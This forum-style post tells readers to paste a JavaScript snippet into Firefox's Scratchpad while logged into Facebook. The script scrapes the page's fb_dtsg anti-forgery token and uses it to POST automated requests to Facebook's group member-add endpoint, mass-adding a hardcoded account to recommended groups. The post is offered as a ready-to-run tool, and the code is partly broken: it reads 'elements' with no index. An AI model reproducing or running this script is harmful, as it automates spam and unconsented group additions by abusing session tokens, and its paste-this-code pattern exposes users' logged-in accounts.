Hi.
It's easy:
Access your FB account in Firefox .
Go to Groups , at bottom of list , right click and "Inspect Element".
Now click on browser's menu (those 3 lines) and click on Developers, then on Scratchpad.
It will open a new window for Scratchpad ... Delete those text and Paste this code:
var xhr = new XMLHttpRequest();
xhr.open("GET", 'https://www.facebook.com', false);
xhr.send();
var homepage = xhr.responseText;
var matches = homepage.match(/<input type="hidden" name="fb_dtsg" value="(.*?)" autocomplete="off" \/>/);
var fb_dtsg = matches[1];
var user_id = "";
function add_to_group(group_id, user_id, fb_dtsg){
//var params = "ref=group_jump_header&group_id="+group_id+"&nctr[_mod]=pagelet_group_&__user="+user_id+"&__a=1&__dyn=7nmanEyl2qm9o-t2u6aEyx97xSq78hACF3pqzQC-C26m6oKewKyQq68K5Uc-dw_UkUyF8izaQ&__req=n&fb_dtsg="+fb_dtsg+"&ttstamp=26581726677111881055710412185&__rev=1664019";
var params = "fb_dtsg="+fb_dtsg+"&group_id="+group_id+"&source=typeahead&ref=&message_id=u_jsonp_4_4&members="+user_id+"&__user=
100003122699879&__a=1&__dyn=7nmajEyl2lm9o-t2u59G85mq699Esx6iWF298yut9LHwxBxCbzFVob4q8zUK5Uc-dwIxbxjyaADyENi28NeEnGlqyp8Km&__req=n&ttstamp=265816957507511111249101116115&__rev=1751754";
var xhr = new XMLHttpRequest();
xhr.open("POST", "/ajax/groups/members/add_post.php", false);
xhr.send(params);
console.log(xhr.responseText);
}
var elements = document.getElementsByClassName("groupsRecommendedTitle");
for(var i=0;i<elements.length;i++){
var group_id = elements
.getAttribute('href').match(/(\d+\.?\d*)/ig)
if(group_id){
add_to_group(group_id, "100011019875356", fb_dtsg);
}
};
Replace the first red number with your FB ID.
Replace the second red number with your Group ID.
Then click RUN and wait.
Done.
You're welcome !